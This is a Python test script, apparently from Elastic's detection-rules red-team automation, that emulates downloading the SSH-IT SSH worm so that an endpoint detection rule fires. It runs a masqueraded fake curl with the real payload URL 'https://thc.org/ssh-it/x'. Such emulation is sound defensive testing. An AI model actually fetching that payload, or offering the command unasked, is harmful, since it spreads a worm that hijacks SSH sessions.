Files
sigma-rules/rta/ssh_it_worm.py
T
2024-06-07 00:12:37 +05:30

40 lines
1.1 KiB
Python

# Copyright Elasticsearch B.V. and/or licensed to Elasticsearch B.V. under one
# or more contributor license agreements. Licensed under the Elastic License
# 2.0; you may not use this file except in compliance with the Elastic License
# 2.0.
import sys
from . import RtaMetadata, common
metadata = RtaMetadata(
uuid="3ad5efdc-c186-4dbd-b5ce-f8d1f102002c",
platforms=["linux"],
endpoint=[
{
"rule_name": "Potential SSH-IT SSH Worm Downloaded",
"rule_id": "cb351778-7329-4de9-82b5-6705f772a3af",
},
],
siem=[],
techniques=["T1021", "T1563"],
)
@common.requires_os(metadata.platforms)
def main() -> None:
masquerade = "/tmp/curl"
source = common.get_path("bin", "linux.ditto_and_spawn")
common.copy_file(source, masquerade)
# Execute command
common.log("Launching fake curl commands to download payload")
common.execute([masquerade, "curl", "https://thc.org/ssh-it/x"], timeout=5, kill=True)
# cleanup
common.remove_file(masquerade)
if __name__ == "__main__":
sys.exit(main())